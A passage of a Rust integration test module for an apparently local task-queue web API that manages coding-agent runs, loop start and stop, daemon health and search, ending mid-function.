14004 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
14005 let saved = q.get(&t.id).unwrap();
14006 assert_eq!(saved.implementers(), Some(usize::from(count)));
14007 assert_eq!(saved.runs, t.runs);
14008 assert_eq!(saved.instruction, t.instruction);
14009 }
14010 for count in [0, 4] {
14011 assert_eq!(
14012 change(count).await.err().unwrap().status,
14013 StatusCode::BAD_REQUEST
14014 );
14015 }
14016 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
14017 let claim = q.claim(&t.id).unwrap();
14018 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
14019 drop(claim);
14020 for status in [
14021 TaskStatus::Running,
14022 TaskStatus::Done,
14023 TaskStatus::Failed,
14024 TaskStatus::Blocked,
14025 TaskStatus::Parked,
14026 ] {
14027 let mut stored = q.get(&t.id).unwrap();
14028 stored.status = status;
14029 q.put(&mut stored).unwrap();
14030 assert_eq!(
14031 change(1).await.err().unwrap().status,
14032 StatusCode::BAD_REQUEST
14033 );
14034 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
14035 }
14036 }
14037
14038 #[tokio::test]
14039 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
14040 let f = Fixture::start().await;
14041 let queue = f.queue();
14042 let mut task = Task::new(
14043 "in flight".to_owned(),
14044 "x".to_owned(),
14045 PathBuf::from("/repo/magi"),
14046 Source::Human,
14047 );
14048 task.start("20260902-140502-bbbb".to_owned());
14049 queue.put(&mut task).expect("file the task");
14050
14051 let res = f
14052 .post(
14053 &format!("/api/queue/{}/priority", task.id),
14054 Some(r#"{"priority":9}"#),
14055 )
14056 .await;
14057 assert_eq!(res.status, 400, "{}", res.body);
14058 assert!(
14059 res.json()["error"]
14060 .as_str()
14061 .is_some_and(|e| e.contains("running")),
14062 "{}",
14063 res.body
14064 );
14065 assert_eq!(
14066 queue.get(&task.id).expect("reload").priority,
14067 0,
14068 "the refused write must not partially apply"
14069 );
14070 }
14071
14072 #[tokio::test]
14073 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
14074 let f = Fixture::start().await;
14075 let queue = f.queue();
14076 let mut task = Task::new(
14077 "old title".to_owned(),
14078 "old instruction".to_owned(),
14079 PathBuf::from("/repo/magi"),
14080 Source::Agent {
14081 run: "20260101-000000-beef".to_owned(),
14082 node: "implement".to_owned(),
14083 },
14084 );
14085 task.runs.push("20260101-000000-beef".to_owned());
14086 queue.put(&mut task).expect("file the task");
14087 let created_at = task.created_at;
14088
14089 let edited = f
14090 .post(
14091 &format!("/api/queue/{}/edit", task.id),
14092 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
14093 )
14094 .await;
14095 assert_eq!(edited.status, 200, "{}", edited.body);
14096 let body = edited.json();
14097 assert_eq!(body["title"], "new title");
14098 assert_eq!(body["instruction"], "new instruction");
14099 assert_eq!(body["id"], task.id, "editing must not mint a new id");
14100 assert_eq!(body["created_at"], created_at.to_string());
14101 assert_eq!(
14102 body["source"]["kind"], "agent",
14103 "editing a task an agent filed must not turn it human: {body}"
14104 );
14105 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
14106
14107 let reloaded = queue.get(&task.id).expect("reload");
14108 assert_eq!(reloaded.title, "new title");
14109 assert_eq!(reloaded.instruction, "new instruction");
14110 }
14111
14112 #[tokio::test]
14113 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
14114 let tmp = TempDir::new().expect("tempdir");
14117 let repo = tmp.path().join("repo");
14118 std::fs::create_dir_all(&repo).expect("repo dir");
14119 let judge = MOCK_AGENT_TOML.replace(
14120 "printf ok",
14121 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
14122 );
14123 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
14124 let f = Fixture::with_repo(repo.clone()).await;
14125 let queue = f.queue();
14126 let mut owner = Task::new(
14127 "owner".to_owned(),
14128 "review it".to_owned(),
14129 repo.clone(),
14130 Source::Human,
14131 );
14132 owner.review_branch = Some("magi/ab12/A".to_owned());
14133 queue.put(&mut owner).expect("file the owner");
14134 let mut task = Task::new(
14135 "draft".to_owned(),
14136 "old".to_owned(),
14137 repo.clone(),
14138 Source::Human,
14139 );
14140 queue.put(&mut task).expect("file the draft");
14141 let url = format!("/api/queue/{}/edit", task.id);
14142
14143 let refused = f
14144 .post(
14145 &url,
14146 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
14147 )
14148 .await;
14149 assert_eq!(refused.status, 409, "{}", refused.body);
14150 let msg = refused.json()["error"]
14151 .as_str()
14152 .unwrap_or_default()
14153 .to_owned();
14154 assert!(
14155 msg.contains("magi/ab12/A") && msg.contains("force"),
14156 "{msg}"
14157 );
14158 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
14159
14160 let forced = f
14161 .post(
14162 &url,
14163 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
14164 )
14165 .await;
14166 assert_eq!(forced.status, 200, "{}", forced.body);
14167 }
14168
14169 #[tokio::test]
14170 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
14171 let f = Fixture::start().await;
14172 let queue = f.queue();
14173 let mut task = Task::new(
14174 "in flight".to_owned(),
14175 "do not touch".to_owned(),
14176 PathBuf::from("/repo/magi"),
14177 Source::Human,
14178 );
14179 task.start("20260902-140502-bbbb".to_owned());
14180 queue.put(&mut task).expect("file the task");
14181
14182 let res = f
14183 .post(
14184 &format!("/api/queue/{}/edit", task.id),
14185 Some(r#"{"title":"x","instruction":"y"}"#),
14186 )
14187 .await;
14188 assert_eq!(res.status, 400, "{}", res.body);
14189 assert!(
14190 res.json()["error"]
14191 .as_str()
14192 .is_some_and(|e| e.contains("running")),
14193 "{}",
14194 res.body
14195 );
14196 assert_eq!(
14197 queue.get(&task.id).expect("reload").instruction,
14198 "do not touch",
14199 "the refused edit must not change the file"
14200 );
14201 }
14202
14203 #[tokio::test]
14204 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
14205 let f = Fixture::start().await;
14206 let queue = f.queue();
14207 let mut task = Task::new(
14208 "busy".to_owned(),
14209 "Running right now".to_owned(),
14210 PathBuf::from("/repo/magi"),
14211 Source::Human,
14212 );
14213 queue.put(&mut task).expect("file the task");
14214 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
14215
14216 let priority = f
14217 .post(
14218 &format!("/api/queue/{}/priority", task.id),
14219 Some(r#"{"priority":9}"#),
14220 )
14221 .await;
14222 assert_eq!(priority.status, 409, "{}", priority.body);
14223
14224 let edit = f
14225 .post(
14226 &format!("/api/queue/{}/edit", task.id),
14227 Some(r#"{"title":"x","instruction":"y"}"#),
14228 )
14229 .await;
14230 assert_eq!(edit.status, 409, "{}", edit.body);
14231 }
14232
14233 #[tokio::test]
14234 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
14235 let f = Fixture::start().await;
14236 let queue = f.queue();
14237 let mut task = Task::new(
14238 "shipped by hand".to_owned(),
14239 "merged outside the loop".to_owned(),
14240 PathBuf::from("/repo/magi"),
14241 Source::Agent {
14242 run: "20260101-000000-b455".to_owned(),
14243 node: "implement".to_owned(),
14244 },
14245 );
14246 task.runs.push("20260101-000000-b455".to_owned());
14247 task.runs.push("20260101-000000-9af4".to_owned());
14248 queue.put(&mut task).expect("file the task");
14249 let created_at = task.created_at;
14250
14251 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
14252 assert_eq!(done.status, 200, "{}", done.body);
14253 assert_eq!(done.json()["status_str"], "done");
14254
14255 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
14256 assert_eq!(
14257 reloaded.runs,
14258 ["20260101-000000-b455", "20260101-000000-9af4"]
14259 );
14260 assert_eq!(
14261 reloaded.source,
14262 Source::Agent {
14263 run: "20260101-000000-b455".to_owned(),
14264 node: "implement".to_owned(),
14265 }
14266 );
14267 assert_eq!(reloaded.created_at, created_at);
14268 }
14269
14270 #[tokio::test]
14271 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
14272 let f = Fixture::start().await;
14277 let queue = f.queue();
14278 let mut task = Task::new(
14279 "landed while held".to_owned(),
14280 "x".to_owned(),
14281 PathBuf::from("/repo/magi"),
14282 Source::Human,
14283 );
14284 task.hold_manual(Some("waiting on 3ed9".to_owned()));
14285 queue.put(&mut task).expect("file the held task");
14286
14287 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
14288 assert_eq!(done.status, 200, "{}", done.body);
14289 assert_eq!(done.json()["status_str"], "done");
14290 assert!(
14291 done.json()["hold_reason"].is_null(),
14292 "a done task cannot still be waiting on something: {}",
14293 done.body
14294 );
14295 }
14296
14297 #[tokio::test]
14298 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
14299 let f = Fixture::start().await;
14304 let queue = f.queue();
14305 let runs = f.runs();
14306 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
14307 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
14311
14312 let mut task = Task::new(
14313 "landed by hand".to_owned(),
14314 "x".to_owned(),
14315 PathBuf::from("/repo/magi"),
14316 Source::Human,
14317 );
14318 task.runs.push("20260101-000000-doa1".to_owned());
14319 task.runs.push("20260101-000000-doa2".to_owned());
14320 queue.put(&mut task).expect("file the task");
14321
14322 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
14323 assert_eq!(done.status, 200, "{}", done.body);
14324
14325 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
14326 .expect("run still on disk under this fixture's own home");
14327 assert_eq!(
14328 reloaded_run.status,
14329 RunStatus::Superseded,
14330 "closing the task by hand must relabel the earlier blocked attempt exactly \
14331 like the loop's own settle path does"
14332 );
14333 }
14334
14335 #[tokio::test]
14336 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
14337 let f = Fixture::start().await;
14342 let queue = f.queue();
14343 let runs = f.runs();
14344 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
14345 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
14346
14347 let mut task = Task::new(
14348 "closed with nothing actually landed".to_owned(),
14349 "x".to_owned(),
14350 PathBuf::from("/repo/magi"),
14351 Source::Human,
14352 );
14353 task.runs.push("20260101-000000-dob1".to_owned());
14354 task.runs.push("20260101-000000-dob2".to_owned());
14355 queue.put(&mut task).expect("file the task");
14356
14357 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
14358 assert_eq!(done.status, 200, "{}", done.body);
14359
14360 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
14361 .expect("run still on disk under this fixture's own home");
14362 assert_eq!(
14363 reloaded_run.status,
14364 RunStatus::Blocked,
14365 "the last recorded attempt never landed, so the earlier one must not be \
14366 relabelled as superseded by it"
14367 );
14368 }
14369
14370 #[tokio::test]
14371 async fn unknown_ids_are_json_not_found_on_both_stores() {
14372 let f = Fixture::start().await;
14373
14374 let run = f.get("/api/runs/nosuchrun").await;
14375 let task = f.post("/api/queue/nosuchtask/hold", None).await;
14376
14377 assert_eq!(run.status, 404);
14378 assert_eq!(task.status, 404);
14379 assert!(
14380 run.json()["error"]
14381 .as_str()
14382 .is_some_and(|e| e.contains("run")),
14383 "the error names what was not found: {}",
14384 run.body
14385 );
14386 assert!(
14387 task.json()["error"]
14388 .as_str()
14389 .is_some_and(|e| e.contains("task")),
14390 "the error names what was not found: {}",
14391 task.body
14392 );
14393 }
14394
14395 #[tokio::test]
14396 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
14397 let f = Fixture::start().await;
14398
14399 let missing = f.get("/api/health").await.json();
14400 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
14401
14402 write_daemon(
14403 f.home.path(),
14404 Timestamp::now() - jiff::SignedDuration::from_secs(60),
14405 );
14406 let stale = f.get("/api/health").await.json();
14407 assert_eq!(
14408 stale["daemon"]["running"], false,
14409 "a minute without a heartbeat is a dead daemon, not a busy one"
14410 );
14411 assert!(
14412 stale["daemon"]["stale_for_secs"]
14413 .as_i64()
14414 .is_some_and(|s| s >= 55),
14415 "staleness is reported so the UI can say how long: {stale}"
14416 );
14417
14418 write_daemon(f.home.path(), Timestamp::now());
14419 let fresh = f.get("/api/health").await.json();
14420 assert_eq!(fresh["daemon"]["running"], true);
14421 assert_eq!(fresh["daemon"]["idle"], false);
14422 assert_eq!(fresh["daemon"]["pid"], 4242);
14423 assert_eq!(fresh["daemon"]["completed"], 7);
14424 assert_eq!(
14425 fresh["daemon"]["current"][0]["task"],
14426 "20260902-140501-aaaa"
14427 );
14428 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
14429 }
14430
14431 #[tokio::test]
14432 async fn the_loop_is_not_running_until_something_starts_it() {
14433 let f = Fixture::start().await;
14434
14435 let view = f.get("/api/loop").await.json();
14436 assert_eq!(view["running"], false);
14437 assert_eq!(
14438 view["owned"], false,
14439 "nobody owns a loop that does not exist: {view}"
14440 );
14441 assert_eq!(view["stopping"], false);
14442 assert_eq!(view["last_error"], Value::Null);
14443 assert_eq!(view["daemon"]["running"], false);
14444 assert_eq!(
14445 view["repo"], "/repo/magi",
14446 "the repository a start would use, named before it is started"
14447 );
14448 }
14449
14450 #[tokio::test]
14451 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
14452 let f = Fixture::start().await;
14453
14454 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14455 assert_eq!(res.status, 200, "{}", res.body);
14456 let view = res.json();
14457 assert_eq!(view["running"], true);
14458 assert_eq!(
14459 view["owned"], true,
14460 "the loop the UI started is the UI's own to stop: {view}"
14461 );
14462 assert_eq!(
14463 view["merge"],
14464 Value::Null,
14465 "no override was given, so each repository's own config decides"
14466 );
14467
14468 let health = f.get("/api/health").await.json();
14472 assert_eq!(health["loop"]["running"], true, "{health}");
14473 assert_eq!(health["loop"]["owned"], true, "{health}");
14474
14475 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14476 }
14477
14478 #[tokio::test]
14479 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
14480 let f = Fixture::start().await;
14481 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14482 assert_eq!(first.status, 200, "{}", first.body);
14483
14484 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14485 assert_eq!(
14486 again.status, 409,
14487 "two loops on one queue race for the same claims: {}",
14488 again.body
14489 );
14490 assert!(
14491 again.json()["error"]
14492 .as_str()
14493 .is_some_and(|e| e.contains("already running the loop")),
14494 "the refusal has to say why: {}",
14495 again.body
14496 );
14497 assert_eq!(
14498 f.get("/api/loop").await.json()["running"],
14499 true,
14500 "and the loop that was already running is untouched by it"
14501 );
14502
14503 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14504 }
14505
14506 #[tokio::test]
14507 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
14508 let f = Fixture::start().await;
14509 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14510
14511 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14512 assert_eq!(
14513 res.status, 200,
14514 "the answer must not wait for the loop: a run in flight is tens of \
14515 minutes and the operator is holding a phone: {}",
14516 res.body
14517 );
14518
14519 let view = settled(&f, |v| v["running"] == false).await;
14520 assert_eq!(view["owned"], false);
14521 assert_eq!(
14522 view["stopping"], false,
14523 "a loop that has stopped is not still stopping: {view}"
14524 );
14525 assert_eq!(
14526 view["last_error"],
14527 Value::Null,
14528 "a loop that was asked to stop did not fail: {view}"
14529 );
14530
14531 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14534 assert_eq!(twice.status, 200, "{}", twice.body);
14535 }
14536
14537 #[tokio::test]
14538 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
14539 let f = Fixture::start().await;
14540 write_daemon(f.home.path(), Timestamp::now());
14543
14544 let view = f.get("/api/loop").await.json();
14545 assert_eq!(view["running"], false, "not in this process: {view}");
14546 assert_eq!(view["owned"], false, "and not this process's to control");
14547 assert_eq!(
14548 view["daemon"]["running"], true,
14549 "but a loop is alive somewhere, which is what the UI must say"
14550 );
14551 assert_eq!(view["daemon"]["pid"], 4242);
14552
14553 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
14554 let res = f.post("/api/loop", Some(body)).await;
14555 assert_eq!(
14556 res.status, 409,
14557 "neither button may pretend to work on someone else's loop: {}",
14558 res.body
14559 );
14560 assert!(
14561 res.json()["error"]
14562 .as_str()
14563 .is_some_and(|e| e.contains("4242")),
14564 "the refusal has to name the process the operator must go to: {}",
14565 res.body
14566 );
14567 }
14568 assert_eq!(
14569 f.get("/api/loop").await.json()["running"],
14570 false,
14571 "and the refusal started nothing"
14572 );
14573 }
14574
14575 #[tokio::test]
14576 async fn a_stale_status_file_is_not_a_foreign_owner() {
14577 let f = Fixture::start().await;
14578 write_daemon(
14579 f.home.path(),
14580 Timestamp::now() - jiff::SignedDuration::from_secs(60),
14581 );
14582
14583 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14584 assert_eq!(
14585 res.status, 200,
14586 "a daemon killed a minute ago must not lock the loop out of its \
14587 own home for good: {}",
14588 res.body
14589 );
14590 assert_eq!(res.json()["running"], true);
14591
14592 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14593 }
14594
14595 #[tokio::test]
14596 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
14597 let f = Fixture::start().await;
14598 let before = f.get("/api/health").await.json()["loop_rev"]
14599 .as_u64()
14600 .expect("a loop revision");
14601
14602 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14603
14604 let after = f.get("/api/health").await.json()["loop_rev"]
14605 .as_u64()
14606 .expect("a loop revision");
14607 assert!(
14608 after > before,
14609 "the loop is in-process state, so this counter is the only thing \
14610 that tells a second device the first one started it: {before} -> \
14611 {after}"
14612 );
14613
14614 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14615 }
14616
14617 #[tokio::test]
14618 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
14619 let f = Fixture::with_loop(launch_broken).await;
14620
14621 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14622 assert_eq!(
14623 res.status, 200,
14624 "starting it is not the failure: {}",
14625 res.body
14626 );
14627
14628 let view = settled(&f, |v| v["last_error"].is_string()).await;
14629 assert_eq!(
14630 view["running"], false,
14631 "a loop that died must not read as running, or the operator has \
14632 nothing to press: {view}"
14633 );
14634 assert_eq!(view["owned"], false);
14635 assert!(
14636 view["last_error"]
14637 .as_str()
14638 .is_some_and(|e| e.contains("read-only file system")),
14639 "the phone is where a loop that died at 3am is visible: {view}"
14640 );
14641
14642 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14645 assert_eq!(again.status, 200, "{}", again.body);
14646 assert!(
14647 again.json()["last_error"]
14648 .as_str()
14649 .is_none_or(|e| !e.contains("read-only file system")),
14650 "a fresh start does not keep showing why the last one died: {}",
14651 again.body
14652 );
14653 }
14654
14655 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
14667 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
14668 let home = TempDir::new().expect("temp home");
14669 let runs = home.path().join("runs");
14670 std::fs::create_dir_all(&runs).expect("runs dir");
14671 let ui = Ui::new(
14672 Queue::at(home.path().join("queue")),
14673 Questions::at(home.path().join("questions")),
14674 Talks::at(home.path().join("talks")),
14675 runs,
14676 home.path().to_path_buf(),
14677 PathBuf::from("/repo/magi"),
14678 )
14679 .with_worktrees_root(home.path().join("wt"))
14680 .with_launch(launch_knocking_on_the_way_out);
14681 let looping = ui.looping();
14682 let turns = ui.turns();
14683 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14684 .await
14685 .expect("bind loopback");
14686 let addr = listener.local_addr().expect("local addr");
14687 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
14688 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14689
14690 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
14691 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
14692
14693 let bound = std::sync::Mutex::new(None);
14708 hand_over(
14709 home.path(),
14710 &looping,
14711 &turns,
14712 &|_: &[String]| Duration::from_secs(5),
14713 served,
14714 |_| {
14715 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
14716 let attempt = loop {
14717 match std::net::TcpListener::bind(addr) {
14718 Ok(l) => {
14719 drop(l);
14720 break Ok(());
14721 }
14722 Err(e)
14723 if e.kind() == std::io::ErrorKind::AddrInUse
14724 && std::time::Instant::now() < deadline =>
14725 {
14726 std::thread::sleep(std::time::Duration::from_millis(10));
14727 }
14728 Err(e) => break Err(e.to_string()),
14729 }
14730 };
14731 *bound.lock().expect("bound") = Some(attempt);
14732 Ok(1)
14733 },
14734 )
14735 .await
14736 .expect("hand over");
14737
14738 assert_eq!(
14739 *PARK_HEARD.lock().expect("park heard"),
14740 Some(200),
14741 "the deck must answer while the loop is parking"
14742 );
14743 let attempt = bound
14744 .lock()
14745 .expect("bound")
14746 .take()
14747 .expect("the successor was started");
14748 assert!(
14749 attempt.is_ok(),
14750 "and the address must be free by the time it is: {attempt:?}"
14751 );
14752 }
14753
14754 #[tokio::test]
14755 async fn a_newer_daemon_status_file_still_renders() {
14756 let f = Fixture::start().await;
14757 std::fs::write(
14760 f.home.path().join("daemon.json"),
14761 serde_json::json!({
14762 "schema": 2,
14763 "updated_at": Timestamp::now().to_string(),
14764 "idle": true,
14765 "surprise": { "nested": [1, 2, 3] },
14766 })
14767 .to_string(),
14768 )
14769 .expect("write daemon.json");
14770
14771 let health = f.get("/api/health").await;
14772
14773 assert_eq!(health.status, 200);
14774 assert_eq!(health.json()["daemon"]["running"], true);
14775 }
14776
14777 #[tokio::test]
14778 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
14779 let f = Fixture::start().await;
14780 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
14781 let broken = f.runs().join("20260902-140502-bad");
14782 std::fs::create_dir_all(&broken).expect("run dir");
14783 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
14784
14785 let list = f.get("/api/runs").await;
14786 let detail = f.get("/api/runs/20260902-140502-bad").await;
14787
14788 assert_eq!(list.status, 200);
14789 let listed = list.json();
14790 let ids: Vec<&str> = listed
14791 .as_array()
14792 .expect("an array")
14793 .iter()
14794 .map(|r| r["id"].as_str().expect("an id"))
14795 .collect();
14796 assert_eq!(
14797 ids,
14798 vec!["20260902-140501-good"],
14799 "one unreadable run must not cost the operator the whole history"
14800 );
14801 assert_eq!(detail.status, 500);
14802 assert!(
14803 detail.json()["error"]
14804 .as_str()
14805 .is_some_and(|e| e.contains("run.json")),
14806 "the failure names the file to look at: {}",
14807 detail.body
14808 );
14809 let health = f.get("/api/health").await;
14813 assert_eq!(health.json()["runs_unreadable"], 1);
14814 }
14815
14816 #[tokio::test]
14818 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
14819 let f = Fixture::start().await;
14820 let runs = f.runs();
14821 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
14822 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
14823 let path = runs.join("20260902-140502-bbbb").join("run.json");
14826 let mut v: serde_json::Value =
14827 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
14828 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
14829 std::fs::write(&path, v.to_string()).unwrap();
14830 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
14831 std::fs::write(
14832 runs.join("20260902-140503-cccc").join("run.json"),
14833 "{ not json",
14834 )
14835 .unwrap();
14836
14837 let res = f.get("/api/search?scope=runs&q=quokka").await;
14838 assert_eq!(res.status, 200, "{}", res.body);
14839 let v = res.json();
14840 assert_eq!(v["total"], 1, "{v}");
14841 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
14842 assert_eq!(v["hits"][0]["field"], "text");
14843 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
14844 let parts = v["hits"][0]["snippet"].as_array().unwrap();
14845 assert!(
14846 parts
14847 .iter()
14848 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
14849 "{v}"
14850 );
14851 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
14852 assert_eq!(
14853 flat, "The Quokka leaks across threads",
14854 "whitespace is collapsed"
14855 );
14856
14857 let both = f
14859 .get("/api/search?scope=runs&q=MOBILE%20quokka")
14860 .await
14861 .json();
14862 assert_eq!(both["total"], 1, "{both}");
14863 let neither = f
14864 .get("/api/search?scope=runs&q=quokka%20zebra")
14865 .await
14866 .json();
14867 assert_eq!(neither["total"], 0, "{neither}");
14868 let stmt = f
14870 .get("/api/search?scope=runs&q=mobile%20first")
14871 .await
14872 .json();
14873 assert_eq!(stmt["total"], 2, "{stmt}");
14874 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
14875 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
14876 }
14877
14878 #[test]
14879 fn snippet_ignores_terms_longer_than_the_field() {
14880 let terms = ["ok".to_owned(), "elephant".to_owned()];
14881 let parts = snippet_of("ok", &terms);
14882 assert_eq!(
14883 parts,
14884 vec![SnippetPart {
14885 text: "ok".to_owned(),
14886 hit: true
14887 }]
14888 );
14889 }
14890
14891 #[test]
14892 fn snippet_marks_matches_longer_than_the_window() {
14893 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
14894 let hit_len = |parts: &[SnippetPart]| -> usize {
14895 parts
14896 .iter()
14897 .filter(|p| p.hit)
14898 .map(|p| p.text.chars().count())
14899 .sum()
14900 };
14901 let total =
14902 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
14903
14904 let long = "a".repeat(120);
14905 let parts = snippet_of(&long, std::slice::from_ref(&long));
14906 assert!(hit_len(&parts) > 0, "{parts:?}");
14907 assert!(total(&parts) <= cap);
14908
14909 let ja = "あ".repeat(130);
14910 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
14911 assert!(hit_len(&parts) > 0, "{parts:?}");
14912 assert!(total(&parts) <= cap);
14913
14914 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
14916 let term = format!("ab{}", "c".repeat(100));
14917 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
14918 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
14919 assert!(total(&parts) <= cap);
14920
14921 let text = format!("{}z", "a".repeat(119));
14923 let parts = snippet_of(&text, &["a".repeat(120)]);
14924 assert_eq!(hit_len(&parts), 0, "{parts:?}");
14925 }
14926
14927 #[tokio::test]
14928 async fn search_caps_hits_and_snippet_length() {
14929 let f = Fixture::start().await;
14930 let runs = f.runs();
14931 for n in 0..(SEARCH_MAX_HITS + 5) {
14932 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
14933 }
14934 let v = f.get("/api/search?scope=runs&q=web").await.json();
14935 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
14936 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
14937 assert_eq!(v["truncated"], true);
14938 assert!(
14940 v["hits"]
14941 .as_array()
14942 .unwrap()
14943 .iter()
14944 .all(|h| h["run"]["status"] == "merged")
14945 );
14946
14947 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
14948 let parts = snippet_of(&long, &["needle".to_owned()]);
14949 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
14950 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
14951 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
14952 }
14953
14954 #[tokio::test]
14955 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
14956 let f = Fixture::start().await;
14957 let queue = f.queue();
14958 let mut t = Task::new(
14959 "short title".to_owned(),
14960 "line one\nthe hidden Armadillo detail".to_owned(),
14961 PathBuf::from("/repo/magi"),
14962 Source::Agent {
14963 run: "r1".to_owned(),
14964 node: "chat".to_owned(),
14965 },
14966 );
14967 t.last_error = Some("disk full on /tmp".to_owned());
14968 queue.put(&mut t).expect("file the task");
14969
14970 for (q, want) in [
14971 ("armadillo", 1),
14972 ("disk%20FULL", 1),
14973 ("chat", 1),
14974 ("queued", 1),
14975 ("short%20nothing", 0),
14976 ] {
14977 let v = f
14978 .get(&format!("/api/search?scope=tasks&q={q}"))
14979 .await
14980 .json();
14981 assert_eq!(v["total"], want, "{q}: {v}");
14982 }
14983 for bad in [
14984 "/api/search?scope=tasks&q=",
14985 "/api/search?scope=tasks&q=%20",
14986 "/api/search?scope=chats&q=",
14987 "/api/search?scope=chats&q=%20",
14988 "/api/search?scope=nope&q=a",
14989 "/api/search?q=a",
14990 ] {
14991 assert_eq!(f.get(bad).await.status, 400, "{bad}");
14992 }
14993 }
14994
14995 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
14997 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
14998 .expect("seat value");
14999 let turns: Vec<serde_json::Value> = turns
15000 .iter()
15001 .map(|(who, body)| {
15002 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
15003 })
15004 .collect();
15005 let doc = serde_json::json!({
15006 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
15007 "status": status, "turns": turns,
